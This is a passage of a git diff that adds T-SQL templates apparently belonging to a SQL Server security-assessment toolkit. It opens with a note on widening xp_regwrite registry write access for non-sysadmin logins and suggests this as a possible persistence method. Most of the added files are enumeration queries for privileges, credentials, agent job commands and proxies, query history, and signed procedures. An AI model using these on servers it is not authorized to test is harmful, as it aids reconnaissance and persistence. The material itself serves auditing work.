xp_regwrite to access senstive registry locations. + +Scenario +-------- +Give Public role members privileges to execute xp_regwrite. + +GRANT EXEC ON OBJECT::master.dbo.xp_regwrite TO [Public] + +Issue +----- +By default, non sysadmin logins can only use xp_regwrite on the followin registry keys. + +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\ +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\SQLAgent$ +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication + +Write access appears to be recursive, with the exception of: +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures + +Solution +-------- +An undocumentated registry key exists that allow admins to set a white list of registry locations that can be written +to by non sysadmin logins via xp_regwrite. Simply add the registry location you wish to white list to registry keys below. + +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures\ +Xp_regread Allowed Paths +REG_MULTI_SZ + +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures\ +Xp_regwrite Allowed Paths +REG_MULTI_SZ + + +Notes +----- +This may have some potential as a persistence method since it could be used in place of xp_cmdshell, +and execute without sysadmin privileges. + +Source: https://support.microsoft.com/en-us/kb/887165 diff --git a/templates/tsql/Get- RolePrivs b/templates/tsql/Get- RolePrivs new file mode 100644 index 0000000..f8866a9 --- /dev/null +++ b/templates/tsql/Get- RolePrivs @@ -0,0 +1,171 @@ +-- http://stackoverflow.com/questions/410396/public-role-access-in-sql-server +SELECT DISTINCT rp.name, + ObjectType = rp.type_desc, + PermissionType = pm.class_desc, + pm.permission_name, + pm.state_desc, + ObjectType = CASE + WHEN obj.type_desc IS NULL + OR obj.type_desc = 'SYSTEM_TABLE' THEN + pm.class_desc + ELSE obj.type_desc + END, + [ObjectName] = Isnull(ss.name, Object_name(pm.major_id)) +FROM sys.database_principals rp + INNER JOIN sys.database_permissions pm + ON pm.grantee_principal_id = rp.principal_id + LEFT JOIN sys.schemas ss + ON pm.major_id = ss.schema_id + LEFT JOIN sys.objects obj + ON pm.[major_id] = obj.[object_id] +order by objectname + +or + +/* + + +--Script source found at : http://stackoverflow.com/a/7059579/1387418 +Security Audit Report +1) List all access provisioned to a sql user or windows user/group directly +2) List all access provisioned to a sql user or windows user/group through a database or application role +3) List all access provisioned to the public role + +Columns Returned: +UserName : SQL or Windows/Active Directory user cccount. This could also be an Active Directory group. +UserType : Value will be either 'SQL User' or 'Windows User'. This reflects the type of user defined for the + SQL Server user account. +DatabaseUserName: Name of the associated user as defined in the database user account. The database user may not be the + same as the server user. +Role : The role name. This will be null if the associated permissions to the object are defined at directly + on the user account, otherwise this will be the name of the role that the user is a member of. +PermissionType : Type of permissions the user/role has on an object. Examples could include CONNECT, EXECUTE, SELECT + DELETE, INSERT, ALTER, CONTROL, TAKE OWNERSHIP, VIEW DEFINITION, etc. + This value may not be populated for all roles. Some built in roles have implicit permission + definitions. +PermissionState : Reflects the state of the permission type, examples could include GRANT, DENY, etc. + This value may not be populated for all roles. Some built in roles have implicit permission + definitions. +ObjectType : Type of object the user/role is assigned permissions on. Examples could include USER_TABLE, + SQL_SCALAR_FUNCTION, SQL_INLINE_TABLE_VALUED_FUNCTION, SQL_STORED_PROCEDURE, VIEW, etc. + This value may not be populated for all roles. Some built in roles have implicit permission + definitions. +ObjectName : Name of the object that the user/role is assigned permissions on. + This value may not be populated for all roles. Some built in roles have implicit permission + definitions. +ColumnName : Name of the column of the object that the user/role is assigned permissions on. This value + is only populated if the object is a table, view or a table value function. +*/ + +--List all access provisioned to a sql user or windows user/group directly +SELECT + [UserName] = CASE princ.[type] + WHEN 'S' THEN princ.[name] + WHEN 'U' THEN ulogin.[name] COLLATE Latin1_General_CI_AI + END, + [UserType] = CASE princ.[type] + WHEN 'S' THEN 'SQL User' + WHEN 'U' THEN 'Windows User' + END, + [DatabaseUserName] = princ.[name], + [Role] = null, + [PermissionType] = perm.[permission_name], + [PermissionState] = perm.[state_desc], + [ObjectType] = obj.type_desc,--perm.[class_desc], + [ObjectName] = OBJECT_NAME(perm.major_id), + [ColumnName] = col.[name] +FROM + --database user + sys.database_principals princ +LEFT JOIN + --Login accounts + sys.login_token ulogin on princ.[sid] = ulogin.[sid] +LEFT JOIN + --Permissions + sys.database_permissions perm ON perm.[grantee_principal_id] = princ.[principal_id] +LEFT JOIN + --Table columns + sys.columns col ON col.[object_id] = perm.major_id + AND col.[column_id] = perm.[minor_id] +LEFT JOIN + sys.objects obj ON perm.[major_id] = obj.[object_id] +WHERE + princ.[type] in ('S','U') +UNION +--List all access provisioned to a sql user or windows user/group through a database or application role +SELECT + [UserName] = CASE memberprinc.[type] + WHEN 'S' THEN memberprinc.[name] + WHEN 'U' THEN ulogin.[name] COLLATE Latin1_General_CI_AI + END, + [UserType] = CASE memberprinc.[type] + WHEN 'S' THEN 'SQL User' + WHEN 'U' THEN 'Windows User' + END, + [DatabaseUserName] = memberprinc.[name], + [Role] = roleprinc.[name], + [PermissionType] = perm.[permission_name], + [PermissionState] = perm.[state_desc], + [ObjectType] = obj.type_desc,--perm.[class_desc], + [ObjectName] = OBJECT_NAME(perm.major_id), + [ColumnName] = col.[name] +FROM + --Role/member associations + sys.database_role_members members +JOIN + --Roles + sys.database_principals roleprinc ON roleprinc.[principal_id] = members.[role_principal_id] +JOIN + --Role members (database users) + sys.database_principals memberprinc ON memberprinc.[principal_id] = members.[member_principal_id] +LEFT JOIN + --Login accounts + sys.login_token ulogin on memberprinc.[sid] = ulogin.[sid] +LEFT JOIN + --Permissions + sys.database_permissions perm ON perm.[grantee_principal_id] = roleprinc.[principal_id] +LEFT JOIN + --Table columns + sys.columns col on col.[object_id] = perm.major_id + AND col.[column_id] = perm.[minor_id] +LEFT JOIN + sys.objects obj ON perm.[major_id] = obj.[object_id] +UNION +--List all access provisioned to the public role, which everyone gets by default +SELECT + [UserName] = '{All Users}', + [UserType] = '{All Users}', + [DatabaseUserName] = '{All Users}', + [Role] = roleprinc.[name], + [PermissionType] = perm.[permission_name], + [PermissionState] = perm.[state_desc], + [ObjectType] = obj.type_desc,--perm.[class_desc], + [ObjectName] = OBJECT_NAME(perm.major_id), + [ColumnName] = col.[name] +FROM + --Roles + sys.database_principals roleprinc +LEFT JOIN + --Role permissions + sys.database_permissions perm ON perm.[grantee_principal_id] = roleprinc.[principal_id] +LEFT JOIN + --Table columns + sys.columns col on col.[object_id] = perm.major_id + AND col.[column_id] = perm.[minor_id] +JOIN + --All objects + sys.objects obj ON obj.[object_id] = perm.[major_id] +WHERE + --Only roles + roleprinc.[type] = 'R' AND + --Only public role + roleprinc.[name] = 'public' AND + --Only objects of ours, not the MS objects + obj.is_ms_shipped = 0 +ORDER BY + princ.[Name], + OBJECT_NAME(perm.major_id), + col.[name], + perm.[permission_name], + perm.[state_desc], + obj.type_desc--perm.[class_desc] diff --git a/templates/tsql/Get-10MostExpressiveQueries.tsql b/templates/tsql/Get-10MostExpressiveQueries.tsql new file mode 100644 index 0000000..5e594b8 --- /dev/null +++ b/templates/tsql/Get-10MostExpressiveQueries.tsql @@ -0,0 +1,23 @@ +-- Top 10 Most expensive queries +-- https://blog.sqlauthority.com/2010/05/14/sql-server-find-most-expensive-queries-using-dmv/ + +SELECT TOP 10 SUBSTRING(qt.TEXT, (qs.statement_start_offset/2)+1, +((CASE qs.statement_end_offset +WHEN -1 THEN DATALENGTH(qt.TEXT) +ELSE qs.statement_end_offset +END - qs.statement_start_offset)/2)+1), +qs.execution_count, +qs.total_logical_reads, qs.last_logical_reads, +qs.total_logical_writes, qs.last_logical_writes, +qs.total_worker_time, +qs.last_worker_time, +qs.total_elapsed_time/1000000 total_elapsed_time_in_S, +qs.last_elapsed_time/1000000 last_elapsed_time_in_S, +qs.last_execution_time, +qp.query_plan +FROM sys.dm_exec_query_stats qs +CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) qt +CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) qp +ORDER BY qs.total_logical_reads DESC -- logical reads +-- ORDER BY qs.total_logical_writes DESC -- logical writes +-- ORDER BY qs.total_worker_time DESC -- CPU time diff --git a/templates/tsql/Get-AgentJob.sql b/templates/tsql/Get-AgentJob.sql new file mode 100644 index 0000000..dcd3b98 --- /dev/null +++ b/templates/tsql/Get-AgentJob.sql @@ -0,0 +1,18 @@ +-- Script: Get-AgentJob.sql +-- Description: Return a list of agent jobs. +-- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx + +SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER], + job.job_id as [JOB_ID], + name as [JOB_NAME], + description as [JOB_DESCRIPTION], + step_name, + command, + enabled, + server, + database_name, + date_created +FROM [msdb].[dbo].[sysjobs] job +INNER JOIN [msdb].[dbo].[sysjobsteps] steps + ON job.job_id = steps.job_id +ORDER BY JOB_OWNER,JOB_NAME \ No newline at end of file diff --git a/templates/tsql/Get-AuditAction.sql b/templates/tsql/Get-AuditAction.sql new file mode 100644 index 0000000..c355859 --- /dev/null +++ b/templates/tsql/Get-AuditAction.sql @@ -0,0 +1,8 @@ +-- Script: Get-AuditAction.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns available audit actions. +-- Reference: https://msdn.microsoft.com/en-us/library/cc280725.aspx + +SELECT DISTINCT action_id,name,class_desc,parent_class_desc,containing_group_name +FROM sys.dm_audit_actions +ORDER BY parent_class_desc,containing_group_name,name diff --git a/templates/tsql/Get-AuditDatabase.sql b/templates/tsql/Get-AuditDatabase.sql new file mode 100644 index 0000000..775a7d0 --- /dev/null +++ b/templates/tsql/Get-AuditDatabase.sql @@ -0,0 +1,18 @@ +-- Script: Get-AuditDatabase.sql +-- Description: Return a list audit database specifications. +-- Reference: https://technet.microsoft.com/en-us/library/ms190227(v=sql.110).aspx + +SELECT a.audit_id, + a.name as audit_name, + s.name as database_specification_name, + d.audit_action_name, + s.is_state_enabled, + d.is_group, + s.create_date, + s.modify_date, + d.audited_result +FROM sys.server_audits AS a +JOIN sys.database_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.database_audit_specification_details AS d +ON s.database_specification_id = d.database_specification_id diff --git a/templates/tsql/Get-AuditServer.sql b/templates/tsql/Get-AuditServer.sql new file mode 100644 index 0000000..cddf37b --- /dev/null +++ b/templates/tsql/Get-AuditServer.sql @@ -0,0 +1,18 @@ +-- Script: Get-AuditServer.sql +-- Description: Return a list audit server specifications. +-- Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.105).aspx + +SELECT audit_id, + a.name as audit_name, + s.name as server_specification_name, + d.audit_action_name, + s.is_state_enabled, + d.is_group, + d.audit_action_id, + s.create_date, + s.modify_date +FROM sys.server_audits AS a +JOIN sys.server_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.server_audit_specification_details AS d +ON s.server_specification_id = d.server_specification_id diff --git a/templates/tsql/Get-CachedPlans.sql b/templates/tsql/Get-CachedPlans.sql new file mode 100644 index 0000000..bd29434 --- /dev/null +++ b/templates/tsql/Get-CachedPlans.sql @@ -0,0 +1,10 @@ +-- Script: Get-CachedPlans.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns a row for each query plan that has been cached by SQL Server for faster query execution since the service started. +-- Reference: https://msdn.microsoft.com/en-us/library/ms187404.aspx + +SELECT bucketid,plan_handle,size_in_bytes,cacheobjtype,objtype,dbid,DB_NAME(dbid) as DatabaseName,objectid,OBJECT_NAME(objectid) as ObjectName,refcounts,usecounts,number,encrypted,text +FROM sys.dm_exec_cached_plans AS p +CROSS APPLY sys.dm_exec_sql_text(p.plan_handle) AS t +ORDER BY usecounts DESC + diff --git a/templates/tsql/Get-Column.sql b/templates/tsql/Get-Column.sql new file mode 100644 index 0000000..43e80f3 --- /dev/null +++ b/templates/tsql/Get-Column.sql @@ -0,0 +1,9 @@ +-- Script: Get-Column.sql +-- Description: Get list of columns for the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188348.aspx + +SELECT TABLE_CATALOG AS [DATABASE_NAME], + TABLE_SCHEMA as [SCHEMA_NAME], + TABLE_NAME,COLUMN_NAME, + DATA_TYPE +FROM [INFORMATION_SCHEMA].[COLUMNS] diff --git a/templates/tsql/Get-Credential.sql b/templates/tsql/Get-Credential.sql new file mode 100644 index 0000000..401c40c --- /dev/null +++ b/templates/tsql/Get-Credential.sql @@ -0,0 +1,5 @@ +-- Script: Get-Credential.sql +-- Description: Get list of credentials on the server. +-- Reference: https://msdn.microsoft.com/en-us/ms161950.aspx + +SELECT * FROM [sys].[credentials] \ No newline at end of file diff --git a/templates/tsql/Get-CurrentLogin.sql b/templates/tsql/Get-CurrentLogin.sql new file mode 100644 index 0000000..64df0c6 --- /dev/null +++ b/templates/tsql/Get-CurrentLogin.sql @@ -0,0 +1,4 @@ +-- Script: Get-CurrentLogin +-- Description: Returns the current login, and login used to login. +-- Reference: https://msdn.microsoft.com/en-us/library/ms189492.aspx +SELECT SYSTEM_USER as [CURRENT_LOGIN],ORIGINAL_LOGIN() as [ORIGINAL_LOGIN] \ No newline at end of file diff --git a/templates/tsql/Get-Database.sql b/templates/tsql/Get-Database.sql new file mode 100644 index 0000000..747a7fe --- /dev/null +++ b/templates/tsql/Get-Database.sql @@ -0,0 +1,24 @@ +-- Script: Get-Database.sql +-- Description: This will return viewable databases and some associated meta data. +-- Filename may not be returned if the current user is not a sysadmin. +-- If the "VIEW ANY DATABASE" privilege has been revoked from Public +-- then some databases may not be listed if the current user is not a sysadmin. +-- Reference: https://msdn.microsoft.com/en-us/library/ms178534.aspx +-- fix is_encrypted column - should only show on newer versions + +SELECT a.database_id as [dbid], + a.name, + HAS_DBACCESS(a.name) as [has_dbaccess], + SUSER_SNAME(a.owner_sid) as [db_owner], + a.is_trustworthy_on, + a.is_db_chaining_on, + a.is_broker_enabled, + a.is_encrypted, + a.is_read_only, + a.create_date, + a.recovery_model_desc, + b.filename +FROM [sys].[databases] a +INNER JOIN [sys].[sysdatabases] b + ON a.database_id = b.dbid +ORDER BY a.database_id \ No newline at end of file diff --git a/templates/tsql/Get-DatabaseAudit.sql b/templates/tsql/Get-DatabaseAudit.sql new file mode 100644 index 0000000..c04531b --- /dev/null +++ b/templates/tsql/Get-DatabaseAudit.sql @@ -0,0 +1,10 @@ +-- Script: Get-DatabaseAudit.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns database audit specifications. +-- Reference: https://msdn.microsoft.com/en-us/library/cc280726.aspx + +SELECT * FROM sys.server_audits AS a +JOIN sys.database_audit_specifications AS s +ON a.audit_guid = s.audit_guid +JOIN sys.database_audit_specification_details AS d +ON s.database_specification_id = d.database_specification_id diff --git a/templates/tsql/Get-DatabasePriv.sql b/templates/tsql/Get-DatabasePriv.sql new file mode 100644 index 0000000..d14654c --- /dev/null +++ b/templates/tsql/Get-DatabasePriv.sql @@ -0,0 +1,27 @@ +-- Script: Get-DatabasePriv.sql +-- Description: This script will return all of the database user +-- privileges for the current database. +-- Reference: http://msdn.microsoft.com/en-us/library/ms188367.aspx +-- Note: This line below will also show full privs for sysadmin users +-- SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); +-- http://stackoverflow.com/questions/410396/public-role-access-in-sql-server + +SELECT DISTINCT rp.name, + ObjectType = rp.type_desc, + PermissionType = pm.class_desc, + pm.permission_name, + pm.state_desc, + ObjectType = CASE + WHEN obj.type_desc IS NULL + OR obj.type_desc = 'SYSTEM_TABLE' THEN + pm.class_desc + ELSE obj.type_desc + END, + [ObjectName] = Isnull(ss.name, Object_name(pm.major_id)) +FROM sys.database_principals rp + INNER JOIN sys.database_permissions pm + ON pm.grantee_principal_id = rp.principal_id + LEFT JOIN sys.schemas ss + ON pm.major_id = ss.schema_id + LEFT JOIN sys.objects obj + ON pm.[major_id] = obj.[object_id] diff --git a/templates/tsql/Get-DatabaseRole.sql b/templates/tsql/Get-DatabaseRole.sql new file mode 100644 index 0000000..9b1df4c --- /dev/null +++ b/templates/tsql/Get-DatabaseRole.sql @@ -0,0 +1,15 @@ +-- Script: Get-DatabaseRole.sql +-- Description: This script with return database +-- users and roles for current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms187328.aspx + +SELECT db_name() AS [DatabaseName], + a.name AS [PrincipalName], + a.type_desc AS [PrincipalType], + USER_NAME(b.role_principal_id) AS [DatabaseRole], + a.is_fixed_role [is_fixed_role] +FROM [sys].[database_principals] a +LEFT OUTER JOIN [sys].[database_role_members] b +ON a.principal_id = b.member_principal_id +WHERE a.sid IS NOT NULL +ORDER BY [DatabaseName] diff --git a/templates/tsql/Get-DatabaseUser.sql b/templates/tsql/Get-DatabaseUser.sql new file mode 100644 index 0000000..3c7fcda --- /dev/null +++ b/templates/tsql/Get-DatabaseUser.sql @@ -0,0 +1,20 @@ +-- Script: Get-DatabaseUser.sql +-- Description: Get list of users for the current database. To view all +-- users you may need to be a sysadmin. Unless bruteforced. +-- Reference: https://msdn.microsoft.com/en-us/library/ms187328.aspx +-- Join Ref: http://blog.sqlauthority.com/2009/04/13/sql-server-introduction-to-joins-basic-of-joins/ + +SELECT + a.principal_id, + a.name as [database_user], + b.name as [sql_login], + a.type, + a.type_desc, + default_schema_name, + a.sid, + a.create_date, + a.is_fixed_role +FROM [sys].[database_principals] a +LEFT JOIN [sys].[server_principals] b + ON a.sid = b.sid +ORDER BY principal_id diff --git a/templates/tsql/Get-Domain.sql b/templates/tsql/Get-Domain.sql new file mode 100644 index 0000000..ad3cc52 --- /dev/null +++ b/templates/tsql/Get-Domain.sql @@ -0,0 +1,5 @@ +-- Script: Get-Domain.sql +-- Description: Returns the default domain of the SQL Server. +-- Reference: http://www.sanssql.com/2008/11/find-domain-name-using-t-sql.html + +SELECT DEFAULT_DOMAIN() as [DEFAULT_DOMAIN] \ No newline at end of file diff --git a/templates/tsql/Get-Endpoint.sql b/templates/tsql/Get-Endpoint.sql new file mode 100644 index 0000000..accbe84 --- /dev/null +++ b/templates/tsql/Get-Endpoint.sql @@ -0,0 +1,5 @@ +-- Script: Get-EndPoint.sql +-- Description: Get list of available endpoints. +-- Reference: https://msdn.microsoft.com/en-us/library/ms189746.aspx + +SELECT * FROm [sys].[endpoints] \ No newline at end of file diff --git a/templates/tsql/Get-PrincipalID2SqlLogin.sql b/templates/tsql/Get-PrincipalID2SqlLogin.sql new file mode 100644 index 0000000..9d1e2be --- /dev/null +++ b/templates/tsql/Get-PrincipalID2SqlLogin.sql @@ -0,0 +1,10 @@ +-- Script: Get-Principal2SqlLogin.sql +-- Description: Example showing how to get the sql login +-- for a given principal_id. +-- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx + +SELECT SUSER_NAME(1) +SELECT SUSER_NAME(2) +SELECT SUSER_NAME(3) +SELECT SUSER_NAME(4) +SELECT SUSER_NAME(5) diff --git a/templates/tsql/Get-Proc.sql b/templates/tsql/Get-Proc.sql new file mode 100644 index 0000000..4eb6b04 --- /dev/null +++ b/templates/tsql/Get-Proc.sql @@ -0,0 +1,16 @@ +-- Script: Get-Proc.sql +-- Description: Return a list of procedurse for +-- the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188757.aspx +-- add if signed and by what user + +SELECT ROUTINE_CATALOG AS [DATABASE_NAME], + ROUTINE_SCHEMA AS [SCHEMA_NAME], + ROUTINE_NAME, + ROUTINE_TYPE, + ROUTINE_DEFINITION, + SQL_DATA_ACCESS, + ROUTINE_BODY, + CREATED, + LAST_ALTERED +FROM [INFORMATION_SCHEMA].[ROUTINES] \ No newline at end of file diff --git a/templates/tsql/Get-ProcParameter.sql b/templates/tsql/Get-ProcParameter.sql new file mode 100644 index 0000000..3fd8f5e --- /dev/null +++ b/templates/tsql/Get-ProcParameter.sql @@ -0,0 +1,23 @@ +-- Script: Get-ProcParameter.sql +-- Description: Return stored procedures and parameter information +-- for the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms190324.aspx +-- Reference: http://www.mssqltips.com/sqlservertip/1669/generate-a-parameter-list-for-all-sql-server-stored-procedures-and-functions/ +-- or just select * from INFORMATION_SCHEMA.PARAMETERS + +SELECT DB_NAME() as [DATABASE_NAME], + SCHEMA_NAME(SCHEMA_ID) AS [SCHEMA_NAME], + SO.name AS [ObjectName], + SO.Type_Desc AS [ObjectType (UDF/SP)], + P.parameter_id AS [ParameterID], + P.name AS [ParameterName], + TYPE_NAME(P.user_type_id) AS [ParameterDataType], + P.max_length AS [ParameterMaxBytes], + P.is_output AS [IsOutPutParameter] +FROM sys.objects AS SO +INNER JOIN sys.parameters AS P +ON SO.OBJECT_ID = P.OBJECT_ID +WHERE SO.OBJECT_ID IN ( SELECT OBJECT_ID + FROM sys.objects + WHERE TYPE IN ('P','FN')) +ORDER BY [SCHEMA_NAME], SO.name, P.parameter_id \ No newline at end of file diff --git a/templates/tsql/Get-ProcPriv.sql b/templates/tsql/Get-ProcPriv.sql new file mode 100644 index 0000000..1c3fe07 --- /dev/null +++ b/templates/tsql/Get-ProcPriv.sql @@ -0,0 +1,13 @@ +-- Script: Get-ProcPriv.sql +-- Description: Return list of privileges for procedures in current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms188367.aspx + +SELECT b.name AS [DATABASE_USER], + c.name AS [DATABASE_OBJECT_NAME], + a.permission_name AS [OBJECT_PERMISSION] +FROM [sys].[database_permissions] a +INNER JOIN [sys].[sysusers] b + ON a.[grantee_principal_id] = b.[uid] +INNER JOIN [sys].[sysobjects] c + ON a.[major_id] = c.[id] +ORDER BY [DATABASE_USER],[DATABASE_OBJECT_NAME] \ No newline at end of file diff --git a/templates/tsql/Get-ProcSigned.sql b/templates/tsql/Get-ProcSigned.sql new file mode 100644 index 0000000..b21240d --- /dev/null +++ b/templates/tsql/Get-ProcSigned.sql @@ -0,0 +1,23 @@ +-- Script: Get-ProcSigned.sql +-- Description: Return a list of signed stored procedures +-- for the current database. +-- Reference: https://books.google.com/books?id=lTtQXn2pO5kC&pg=PA158&dq=cp.thumbprint+%3D+cer.thumbprint+AND&hl=en&sa=X&ei=ID1tVeioDZCpogSO4oCgCA&ved=0CCcQ6AEwAA#v=onepage&q=cp.thumbprint%20%3D%20cer.thumbprint%20AND&f=false + +SELECT o.name as ObjectName, + o.type_desc as ObjectType, + cp.crypt_type as CryptType, + CASE cp.crypt_type + when 'SPVC' then cer.name + when 'CPVC' then Cer.name + when 'SPVA' then ak.name + when 'CPVA' then ak.name + END as keyname +FROM sys.crypt_properties cp +JOIN sys.objects o ON cp.major_id = o.object_id +LEFT JOIN sys.certificates cer + ON cp.thumbprint = cer.thumbprint + AND cp.crypt_type IN ('SPVC','CPVC') +LEFT JOIN sys.asymmetric_keys ak + ON cp.thumbprint = ak.thumbprint + AND cp.crypt_type IN ('SPVA','CPVA') +ORDER BY keyname,ObjectType,ObjectName \ No newline at end of file diff --git a/templates/tsql/Get-ProcSignedByCertLogin.sql b/templates/tsql/Get-ProcSignedByCertLogin.sql new file mode 100644 index 0000000..969f0b1 --- /dev/null +++ b/templates/tsql/Get-ProcSignedByCertLogin.sql @@ -0,0 +1,30 @@ +-- Script: Get-ProcSignedByCertLogin.sql +-- Description: Return a list of procedures signed with a certificate +-- for the current database that also have logins that were generated from them. +-- Reference: https://books.google.com/books?id=lTtQXn2pO5kC&pg=PA158&dq=cp.thumbprint+%3D+cer.thumbprint+AND&hl=en&sa=X&ei=ID1tVeioDZCpogSO4oCgCA&ved=0CCcQ6AEwAA#v=onepage&q=cp.thumbprint%20%3D%20cer.thumbprint%20AND&f=false + +SELECT spr.ROUTINE_CATALOG as [DATABASE_NAME], + spr.SPECIFIC_SCHEMA as [SCHEMA_NAME], + spr.ROUTINE_NAME as [SP_NAME], + spr.ROUTINE_DEFINITION as SP_CODE, + CASE cp.crypt_type + when 'SPVC' then cer.name + when 'CPVC' then Cer.name + when 'SPVA' then ak.name + when 'CPVA' then ak.name + END as CERT_NAME, + sp.name as CERT_LOGIN, + sp.sid as CERT_SID +FROM [sys].[crypt_properties] cp +INNER JOIN [sys].[objects] o ON cp.major_id = o.object_id +LEFT JOIN [sys].[certificates] cer + ON cp.thumbprint = cer.thumbprint +LEFT JOIN [sys].[asymmetric_keys] ak + ON cp.thumbprint = ak.thumbprint +LEFT JOIN [INFORMATION_SCHEMA].[ROUTINES] spr + ON spr.ROUTINE_NAME = o.name +LEFT JOIN [sys].[server_principals] sp + ON sp.sid = cer.sid +WHERE o.type_desc = 'SQL_STORED_PROCEDURE' + AND sp.name is NOT NULL +ORDER BY CERT_NAME \ No newline at end of file diff --git a/templates/tsql/Get-QueryHistory.sql b/templates/tsql/Get-QueryHistory.sql new file mode 100644 index 0000000..612430a --- /dev/null +++ b/templates/tsql/Get-QueryHistory.sql @@ -0,0 +1,16 @@ +-- Script: Get-QueryHistory.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: Returns queries executed on the system. It should include all queries since the service was started. +-- Reference: http://blogs.lessthandot.com/index.php/datamgmt/dbprogramming/finding-out-how-many-times-a-table-is-be-2008/ + +SELECT * FROM + (SELECT + COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, + qt.objectid as objectid, + last_execution_time, + execution_count, + encrypted, + (SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement + FROM sys.dm_exec_query_stats AS qs + CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x +ORDER BY execution_count DESC diff --git a/templates/tsql/Get-SID2WinAccount.sql b/templates/tsql/Get-SID2WinAccount.sql new file mode 100644 index 0000000..473ffa1 --- /dev/null +++ b/templates/tsql/Get-SID2WinAccount.sql @@ -0,0 +1,6 @@ +-- Script: Get-SID2WinAccount.sql +-- Description: Example showing how to get the domain user or group +-- for a given sid. +-- Reference: https://msdn.microsoft.com/en-us/library/ms179889.aspx + +SELECT SUSER_SNAME(0x010500000000000515000000F3864381DA1516CC636051C000020000) \ No newline at end of file diff --git a/templates/tsql/Get-SQLAgentJobProxy.tsql b/templates/tsql/Get-SQLAgentJobProxy.tsql new file mode 100644 index 0000000..775ce14 --- /dev/null +++ b/templates/tsql/Get-SQLAgentJobProxy.tsql @@ -0,0 +1,30 @@ + -- Get-SQLAgentJobProxy + -- Ref:http://dba.stackexchange.com/questions/137675/how-to-find-what-sql-jobs-are-using-a-specific-account-as-proxy + + -- Search Credentials (shows account for Name) + + use msdb + select * + from sys.credentials + + --Search Jobs where there is a 'Run As' proxy and get the name of that proxy + + use msdb + + select sysjobsteps.job_id + , sysjobs.name as 'JobName' + , sysjobsteps.step_id + , sysjobsteps.step_name + , sysjobsteps.subsystem + , sysjobsteps.last_run_date + , sysjobsteps.proxy_id + --, sysjobsteps.step_uid + , sysproxies.name as 'ProxyName' + + from sysjobsteps + left join dbo.sysproxies + on sysjobsteps.proxy_id = sysproxies.proxy_id + left join dbo.sysjobs + on sysjobsteps.job_id = sysjobs.job_id + + where sysjobsteps.proxy_id > 0 diff --git a/templates/tsql/Get-SQLStoredProcedureCLR.sql b/templates/tsql/Get-SQLStoredProcedureCLR.sql new file mode 100644 index 0000000..f5f77bd --- /dev/null +++ b/templates/tsql/Get-SQLStoredProcedureCLR.sql @@ -0,0 +1,26 @@ +-- Use this to list out CLR stored procedure information +-- This is a modified version of code found at +-- https://stackoverflow.com/questions/3155542/sql-server-how-to-list-all-clr-functions-procedures-objects-for-assembly +USE msdb; +SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name], + af.file_id, + af.name + '.dll' as [file_name], + asmbly.clr_name, + asmbly.assembly_id, + asmbly.name AS [assembly_name], + am.assembly_class, + am.assembly_method, + so.object_id as [sp_object_id], + so.name AS [sp_name], + so.[type] as [sp_type], + asmbly.permission_set_desc, + asmbly.create_date, + asmbly.modify_date, + af.content +FROM sys.assembly_modules am +INNER JOIN sys.assemblies asmbly +ON asmbly.assembly_id = am.assembly_id +INNER JOIN sys.assembly_files af +ON asmbly.assembly_id = af.assembly_id +INNER JOIN sys.objects so +ON so.[object_id] = am.[object_id] diff --git a/templates/tsql/Get-Schema b/templates/tsql/Get-Schema new file mode 100644 index 0000000..93694ab --- /dev/null +++ b/templates/tsql/Get-Schema @@ -0,0 +1,9 @@ + +SELECT * +FROM information_schema.schemata + + +SELECT s.Name, u.* +FROM sys.schemas s + INNER JOIN sys.sysusers u + ON u.uid = s.principal_id diff --git a/templates/tsql/Get-Schema.sql b/templates/tsql/Get-Schema.sql new file mode 100644 index 0000000..b3a6994 --- /dev/null +++ b/templates/tsql/Get-Schema.sql @@ -0,0 +1,9 @@ +-- Script: Get-Schema.sql +-- Description: Return list of schemas for the current database. +-- Reference: https://msdn.microsoft.com/en-us/library/ms182642.aspx + +SELECT CATALOG_NAME AS [DATABASE_NAME], + SCHEMA_NAME, + SCHEMA_OWNER +FROM [INFORMATION_SCHEMA].[SCHEMATA] +ORDER BY SCHEMA_NAME \ No newline at end of file diff --git a/templates/tsql/Get-ServerAudit.sql b/templates/tsql/Get-ServerAudit.sql new file mode 100644 index 0000000..3dfd924 --- /dev/null +++ b/templates/tsql/Get-ServerAudit.sql @@ -0,0 +1,10 @@ +-- Script: Get-ServerAudit.sql +-- Requirements: Sysadmin or required SELECT privileges. +-- Description: List server audit specifications. +-- Reference: https://msdn.microsoft.com/en-us/library/cc280727.aspx + +SELECT * FROM sys.server_audits 